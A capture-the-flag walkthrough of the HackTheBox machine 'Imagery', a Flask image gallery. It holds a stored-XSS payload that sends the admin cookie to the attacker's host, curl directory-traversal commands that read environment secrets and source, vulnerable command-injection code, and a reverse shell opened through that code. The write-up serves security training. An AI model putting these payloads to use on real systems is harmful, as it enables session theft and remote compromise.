HTB: Imagery
Imagery hosts a Flask-based image gallery application. I’ll exploit a stored XSS vulnerability in the bug report feature to steal an admin cookie. From the admin panel, I’ll use directory traversal to read the application source code, finding a command injection vulnerability in the image crop feature that requires access as a test user. After reading the database and cracking the test user’s password hash, I’ll exploit the command injection to get a shell. I’ll find an encrypted backup file and brute-force the pyAesCrypt password, getting access to an older backup with additional hashes. After cracking another user’s hash, I’ll pivot to a user that can run a custom backup utility as root via sudo. I’ll show two ways to abuse this. In Beyond Root, I’ll show why SSH is broken and how to get around it.
Box Info
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (8000):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.4.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-18 11:26 UTC
...[snip]...
Nmap scan report for 10.129.4.40
Host is up, received reset ttl 63 (0.023s latency).
Scanned at 2026-01-18 11:26:46 UTC for 10s
Not shown: 60280 closed tcp ports (reset), 5253 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds
Raw packets sent: 97330 (4.282MB) | Rcvd: 60495 (2.420MB)
oxdf@hacky$ nmap -p 22,8000 -sCV 10.129.4.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-18 11:27 UTC
Nmap scan report for 10.129.4.40
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.1.3 Python/3.12.7
| Date: Sun, 18 Jan 2026 11:27:14 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.1.3 Python/3.12.7
| Date: Sun, 18 Jan 2026 11:27:09 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 146960
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Image Gallery</title>
| <script src="static/tailwind.js"></script>
| <link rel="stylesheet" href="static/fonts.css">
| <script src="static/purify.min.js"></script>
| <style>
| body {
| font-family: 'Inter', sans-serif;
| margin: 0;
| padding: 0;
| box-sizing: border-box;
| display: flex;
| flex-direction: column;
| min-height: 100vh;
| position: fixed;
| top: 0;
| width: 100%;
| z-index: 50;
|_ #app-con
|_http-title: Image Gallery
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=1/18%Time=696CC393%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,3027,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.3
SF:\x20Python/3\.12\.7\r\nDate:\x20Sun,\x2018\x20Jan\x202026\x2011:27:09\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x20146960\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x2
SF:0lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x2
SF:0\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width
SF:,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Image\x20Gallery</ti
SF:tle>\n\x20\x20\x20\x20<script\x20src=\"static/tailwind\.js\"></script>\
SF:n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"static/fonts\.cs
SF:s\">\n\x20\x20\x20\x20<script\x20src=\"static/purify\.min\.js\"></scrip
SF:t>\n\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20
SF:{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20'Int
SF:er',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ma
SF:rgin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x
SF:200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20box-sizing:\x20bo
SF:rder-box;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20
SF:flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20flex-direction:\
SF:x20column;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20min-height:
SF:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20nav\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20posit
SF:ion:\x20fixed;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20top:\x2
SF:00;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x2050;\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20#app-con")%
SF:r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x2
SF:0Werkzeug/3\.1\.3\x20Python/3\.12\.7\r\nDate:\x20Sun,\x2018\x20Jan\x202
SF:026\x2011:27:14\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\
SF:r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20h
SF:tml>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x2
SF:0Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x2
SF:0the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20p
SF:lease\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.70 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 24.10 oracular.
Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
The webserver is reporting it is Werkzeug, which most likely means Python Flask.
Website - TCP 8000
Site
The site is an online image gallery:
There aren’t many links other than to Register and Login. The registration page takes an email and password:
On logging in, the application presents a Gallery and a link to Upload:
The upload form takes an image as well as optional title, description, and group:
It also shows my account ID, which is interesting. There’s also an extra link in the footer:
This is pretty unrealistic, as footers like this are typically the same on every page. This kind of thing it probably just put in by the box author to make the box “harder”. Clicking this link doesn’t lead to a new page, but uses JavaScript to load a form:
On submitting, it says it will be reviewed:
Uploading an image leads to it showing up on the dashboard:
There’s also a cleanup script that will remove my images periodically. Clicking the three dots by the image shows a menu:
The top four are not enabled, and clicking them pops a message:
I think it means it’s still in development (not production).
Tech Stack
The HTTP server headers show Werkzeug, which means Flask:
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Sun, 18 Jan 2026 11:33:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 146960
Connection: close
It’s unusual to see raw Werkzeug not behind nginx or some other more robust webserver. The 404 page matches the default Flask 404:
On logging in, a session cookie is set:
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Sun, 18 Jan 2026 11:56:57 GMT
Content-Type: application/json
Content-Length: 105
Vary: Cookie
Set-Cookie: session=.eJyrVkrJLC7ISaz0TFGyUkoxtbRItjCxUNJRyix2TMnNzFOySkvMKU4F8eMzcwtSi4rz8xJLMvPS40tSi0tKi1OLkFXAxOITk5PzS_NK4HIgwbzE3FSgHQYVKWkOmbmJ6alFlXoZJUlKtQAA9i9M.aWzKiQ.Xw50bu1DzG_gbyIr7d5rQb5-PI0; Path=/
Connection: close
That’s a Flask cookie, which sites like this one will decode:
{
"displayId": "d598c848",
"isAdmin": false,
"is_impersonating_testuser": false,
"is_testuser_account": false,
"username": "0xdf@imagery.htb"
}
This cookie doesn’t have the httpOnly attribute, which means that if I can get XSS, I can steal it.
Directory Brute Force
I’ll run feroxbuster against the site:
oxdf@hacky$ feroxbuster -u http://10.129.4.40:8000
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.4.40:8000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
401 GET 1l 4w 59c http://10.129.4.40:8000/images
405 GET 5l 20w 153c http://10.129.4.40:8000/login
405 GET 5l 20w 153c http://10.129.4.40:8000/register
405 GET 5l 20w 153c http://10.129.4.40:8000/logout
200 GET 27l 48w 584c http://10.129.4.40:8000/static/fonts.css
405 GET 5l 20w 153c http://10.129.4.40:8000/upload_image
200 GET 3l 282w 20343c http://10.129.4.40:8000/static/purify.min.js
200 GET 83l 9103w 407279c http://10.129.4.40:8000/static/tailwind.js
200 GET 2779l 9472w 146960c http://10.129.4.40:8000/
[####################] - 74s 30014/30014 0s found:9 errors:0
[####################] - 74s 30000/30000 406/s http://10.129.4.40:8000/
It does find the upload_image endpoint used earlier to upload (with a 405, as that endpoint expects a POST).
/images returns raw JSON data about my uploaded images:
The uploaded URLs are prepended with a UUID.
Shell as web
Admin Page Access
Page JavaScript
Looking at the page source, when the “Report Bug” link is clicked, it’s going to call navigateTo(reportBug):
navigateTo is a function that manages what HTML shows up on the page:
async function navigateTo(pageId) {
localStorage.setItem('lastVisitedPage', pageId);
let targetPageId = pageId;
const authStatus = await checkAuthStatus(false);
if ((targetPageId === 'gallery' || targetPageId === 'upload' || targetPageId === 'reportBug' || targetPageId === 'adminPanel')) {
if (!authStatus.loggedIn) {
showMessage('Please log in to access this page.', 'error');
targetPageId = 'login';
} else if (targetPageId === 'adminPanel' && !authStatus.isAdmin) {
showMessage('Access Denied: You must be logged in as an administrator.', 'error');
targetPageId = 'login';
}
}
currentPage = targetPageId;
const pages = document.querySelectorAll('.page-content');
pages.forEach(page => {
page.style.display = 'none';
});
const targetPageElement = document.getElementById(currentPage + 'Page');
if (targetPageElement) {
targetPageElement.style.display = 'flex';
if (currentPage === 'gallery') {
loadGalleryImages();
} else if (currentPage === 'upload') {
const uploadUserInfoSpan = document.querySelector('#upload-user-info span');
if (loggedInUserDisplayId) {
uploadUserInfoSpan.textContent = loggedInUserDisplayId;
document.getElementById('upload-user-info').style.display = 'block';
} else {
document.getElementById('upload-user-info').style.display = 'none';
}
document.getElementById('uploadForm').reset();
setUploadMode('file');
populateImageGroupDropdown();
} else if (currentPage === 'adminPanel') {
loadAdminPanelContent();
}
} else {
console.warn(`Page with ID ${currentPage}Page not found.`);
}
updateUIBasedOnAuth();
}
For reportBug, it will find reportBugPage and set it as visible where the rest of the elements are set to display = none.
There’s also logic in here for the admin panel. For example, there’s a function loadBugReports:
async function loadBugReports() {
const bugReportsList = document.getElementById('bug-reports-list');
const noBugReports = document.getElementById('no-bug-reports');
if (!bugReportsList || !noBugReports) {
console.error("Error: Admin panel bug report elements not found.");
return;
}
bugReportsList.innerHTML = '';
noBugReports.style.display = 'none';
try {
const response = await fetch(`${window.location.origin}/admin/bug_reports`);
const data = await response.json();
if (data.success) {
if (data.bug_reports.length === 0) {
noBugReports.style.display = 'block';
} else {
data.bug_reports.forEach(report => {
const reportCard = document.createElement('div');
reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';
reportCard.innerHTML = `
<div>
<p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
<p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
<div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
${report.details}
</div>
</div>
<button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
Delete
</button>
`;
bugReportsList.appendChild(reportCard);
});
}
} else {
showMessage(data.message, 'error');
}
} catch (error) {
console.error('Error loading bug reports:', error);
showMessage('Failed to load bug reports. Please try again later.', 'error');
}
}
It fetches data from /admin/bug_reports, and uses the results to build this HTML:
<div>
<p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
<p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
<div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
${report.details}
</div>
</div>
<button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
Delete
</button>
The report.id, report.reporterDisplayId, and report.name are all passed through DOMPurify.sanitize before being put into the page. On the other hand, report.details is not. It’s dropped raw into the div element.
XSS
The above page will be vulnerable to XSS unless the input is sanitized on the server. I’ll create a simple payload:
<img src=x onerror=fetch('http://10.10.15.179/?c='+document.cookie)>
This will load an image on the page with a bad source, and in response to the error send a GET request to my host with the user’s cookie in the URL. I’ll submit this:
And a few seconds later get the request at my Python webserver:
10.129.4.40 - - [18/Jan/2026 12:38:16] "GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aWzUMA.nQLnstYMImFHfsxO5KoH_b-MfKs HTTP/1.1" 200 -
That cookie decodes to:
{
"displayId": "a1b2c3d4",
"isAdmin": true,
"is_impersonating_testuser": false,
"is_testuser_account": false,
"username": "admin@imagery.htb"
}
Arbitrary File Read
Admin Panel Enumeration
As an admin user (after setting the stolen cookie in my browser), there’s now an accessible admin panel:
There are two sections. The top shows users on the box, including admin, my user, and testuser. The bottom shows the submitted bug reports.
The “Download Log” button by each user returns a log with that user’s activity. For example, 0xdf@imagery.htb.log:
[2026-01-18T18:35:35.043695] Registered successfully.
[2026-01-18T18:35:40.798277] Logged in successfully.
[2026-01-18T18:35:50.635985] Uploaded image: 0xdf.png (ID: 98d314c4-09f2-4f3e-9378-d5e53a3345b8) to group 'My Images'.
[2026-01-18T18:37:24.361700] Logged out successfully.
[2026-01-18T18:37:44.887785] Logged in successfully.
[2026-01-18T18:39:39.483650] Logged in successfully.
admin just has a bunch of login and log outs, seeming to log in every minute, and out only occasionally.
Directory Traversal POC
The GET request to get the log for 0xdf looks like:
GET /admin/get_system_log?log_identifier=0xdf%40imagery.htb.log HTTP/1.1
Host: 10.129.4.40:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://10.129.4.40:8000/
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aWzUMA.nQLnstYMImFHfsxO5KoH_b-MfKs
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Any time there’s a file path in an HTTP parameter, it’s worth checking for directory traversal. If I try ../../../etc/passwd, it crashes (returning 500 for some reason but saying 404 in the body):
One more directory up returns the file:
Host Enumeration
I’ll switch to curl, using --path-as-is to prevent curl from normalizing the ../s out of the path, and --ignore-content-length to print the full response for cases like in the /proc filesystem (see this video). I’ll check for the current process’ environment variables (they are null separated, so I’ll use tr to replace nulls with newlines):
oxdf@hacky$ curl --path-as-is -b "session=$SESSION" 'http://10.129.4.40:8000/admin/get_system_log?log_identifier=../../../../proc/self/environ' --ignore-content-length -s | tr '\000' '\n'
LANG=en_US.UTF-8
PATH=/home/web/web/env/bin:/sbin:/usr/bin
USER=web
LOGNAME=web
HOME=/home/web
SHELL=/bin/bash
INVOCATION_ID=afaee480cd674aa68568e18e423b8a44
JOURNAL_STREAM=9:18530
SYSTEMD_EXEC_PID=1338
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/flaskapp.service/memory.pressure
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xR0p/runL!
It doesn’t give a current directory, but there’s a Python virtual environment in the PATH at /home/web/web/env, and the user is web. There’s also a CRON_BYPASS_TOKEN (which will come into play later). I’ll find the same app.py file at the following three locations:
../../../../proc/self/cwd/app.py../../../../home/web/web/app.py../app.py
app.py has a bunch of imports at the top:
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc
Base on these, I’ll make a list of filenames to download, and get them all in a loop:
oxdf@hacky$ for fn in "config" "utils" "api_auth" "api_upload" "api_manage" "api_edit" "api_admin" "api_misc"; do curl --path-as-is -b "session=$SESSION" "http://10.129.4.40:8000/admin/get_system_log?log_identifier=../${fn}.py" --ignore-content-length -s > src/${fn}.py; done
oxdf@hacky$ ls src/
api_admin.py api_auth.py api_edit.py api_manage.py api_misc.py api_upload.py app.py config.py utils.py
Source Analysis
app.py
The main file, app.py handles standing up the main Flask application. After the imports above, it creates the Flask application, sets the secret key, and explicitly makes the app vulnerable to XSS (for no realistic reason):
app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False
It’s worth noting that the secret_key is random (and thus unleakable). If this were statically defined in the file, I could use that to forge cookies for any user on the site.
Then it registers routes from the various other modules. The challenge of having routes defined in other files is they would need access to the main Flask object, app_core in this case. But that would lead to a bunch of potentially circular imports. Flask solves this with Blueprints, where in the other files it creates a BluePrint object that then creates routes, and then that is imported and loaded by the main app:
app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)
The rest of the main file defines the index route, and does some initialization:
@app_core.route('/')
def main_dashboard():
return render_template('index.html')
if __name__ == '__main__':
current_database_data = _load_data()
default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
for collection_to_add in default_collections:
if collection_to_add not in existing_collection_names_in_database:
current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
_save_data(current_database_data)
for user_entry in current_database_data.get('users', []):
user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
if not os.path.exists(user_log_file_path):
with open(user_log_file_path, 'w') as f:
f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
port = int(os.environ.get("PORT", 8000))
if port in BLOCKED_APP_PORTS:
print(f"Port {port} is blocked for security reasons. Please choose another port.")
sys.exit(1)
app_core.run(debug=False, host='0.0.0.0', port=port)
api_edit.py
There are various api_*.py files that define the different API calls made by the side. The most interesting one is api_edit.py, which defines three routes:
from flask import Blueprint, request, jsonify, session
from config import *
import os
import uuid
import subprocess
from datetime import datetime
from utils import _load_data, _save_data, _hash_password, _log_event, _generate_display_id, _sanitize_input, get_file_mimetype, _calculate_file_md5
bp_edit = Blueprint('bp_edit', __name__)
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
...[snip]...
@bp_edit.route('/convert_image', methods=['POST'])
def convert_image():
...[snip]...
@bp_edit.route('/delete_image_metadata', methods=['POST'])
def delete_image_metadata():
...[snip]...
It’s interesting because it defines features that are not enabled on the site, and because it imports the subprocess module, which could be a path to RCE if input is not sanitized.
There are seven places that subprocess.run is called:
oxdf@hacky$ grep subprocess.run api_edit.py -B1
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
--
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
--
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
--
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
--
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
--
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
--
command = [EXIFTOOL_PATH, '-all=', '-overwrite_original', filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
The safe way to call subprocess.run is with a list of the individual parameters in the command, so that an attacker cannot break them up in unexpected ways. This is what the application does for all but the first of these calls. The first case it uses Python f-strings to generate the command as a string, and then passes that string. This is in the /apply_visual_transform route. It starts by making sure that the session metadata (as in the decoded Flask cookie) is_testuser_account is set to True, and that the user is logged in:
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
The admin account does not have this, so I’ll need to find another account to access this path. Then the code parses and validates the POST request parameters:
request_payload = request.get_json()
image_id = request_payload.get('imageId')
transform_type = request_payload.get('transformType')
params = request_payload.get('params', {})
if not image_id or not transform_type:
return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
There’s a call to _load_data, which is imported from utils.py, and basically loads JSON data from DATA_STORE_PATH:
def _load_data():
if not os.path.exists(DATA_STORE_PATH):
return {'users': [], 'images': [], 'bug_reports': [], 'image_collections': []}
with open(DATA_STORE_PATH, 'r') as f:
data = json.load(f)
for user in data.get('users', []):
if 'isTestuser' not in user:
user['isTestuser'] = False
return data
DATA_STORE_PATH is defined in config.py as db.json, which I’ll look at shortly. Then it validates that the image_id passed by the user exists, is owned by that user, is a valid image mime-type, and have a valid extension:
application_data = _load_data()
original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
if not original_image:
return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
if not os.path.exists(original_filepath):
return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
Then it generates a new output filename, and builds the command to run ImageMagick on the image to modify:
try:
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
elif transform_type == 'rotate':
...[snip]...
elif transform_type == 'saturation':
...[snip]...
elif transform_type == 'brightness':
...[snip]...
elif transform_type == 'contrast':
...[snip]...
else:
return jsonify({'success': False, 'message': 'Unsupported transformation type.'}), 400
The rest of the function updates the “database” (JSON file) with the new image and returns, or handles errors.
db.json
It seems this site, rather than using a real database, is using a JSON file to store data. This would never scale to a real application, but it works ok here. The file contains top level “tables” for users, images, image_collections, and bug_reports:
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "0xdf@imagery.htb",
"password": "465e929fc1e0853025faad58fc8cb47d",
"displayId": "3500c683",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
],
"images": [
{
"id": "04ee34b9-f022-43d6-9dca-55e7efe44539",
"filename": "1bf797fb-cd37-4794-822b-175a17916fa3_0xdf.png",
"url": "/uploads/1bf797fb-cd37-4794-822b-175a17916fa3_0xdf.png",
"title": "0xdf",
"description": "",
"timestamp": "2026-01-19T12:46:40.880954",
"uploadedBy": "0xdf@imagery.htb",
"uploadedByDisplayId": "3500c683",
"group": "My Images",
"type": "original",
"actual_mimetype": "image/png"
}
],
"image_collections": [
{
"name": "My Images"
},
{
"name": "Unsorted"
},
{
"name": "Converted"
},
{
"name": "Transformed"
}
],
"bug_reports": [
{
"id": "8d0da589-ebf7-4fde-a1d5-975135d3961f",
"name": "xss",
"details": "<img src=x onerror=fetch('http://10.10.15.179/?c='+document.cookie)>",
"reporter": "0xdf@imagery.htb",
"reporterDisplayId": "3500c683",
"timestamp": "2026-01-19T12:47:38.653909"
}
]
}
The users objects contain password hashes for admin, testuser, and my user. I’ll note that testuser has the isTestuser value set to true.
Command Injection
Access as testuser
To use the vulnerable function, I’ll need access as the testuser user, so I’ll crack the hash in db.json. In api_auth.py in the register function, the password is hashed using a function imported from utils:
hashed_password = _hash_password(password)
This function shows it’s just an MD5:
def _hash_password(password):
return hashlib.md5(password.encode()).hexdigest()
That would have been my guess seeing 32 hex characters. This cracks in CrackStation:
After logging in with that password and the email testuser@imagery.htb and uploading an image, I’ll see the menu items are not disabled:
Image Crop
Clicking on “Transform Image” opens a new pop-over:
I’ve filled it in with a “Crop” operation as that’s the vulnerable path. Clicking “Apply Transformation” returns the image for download:
And it shows up in a new group on the dashboard:
Command Injection POC
I’ll find the POST request to /apply_visual_transform, send it to Repeater, and remove unneeded HTTP headers.
It still works when I send x as a string:
I’ll add a command injection to y that will ping my host and start tcpdump:
This returns success, but there’s also a ping at my listening tcpdump:
oxdf@hacky$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:04:10.745992 IP 10.129.4.40 > 10.10.15.179: ICMP echo request, id 8751, seq 1, length 64
13:04:10.746022 IP 10.10.15.179 > 10.129.4.40: ICMP echo reply, id 8751, seq 1, length 64
Shell
I’ll update the command injection payload, changing it from ping to a bash reverse shell:
Sending this just hangs, but at my listening nc:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.4.40 56788
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$
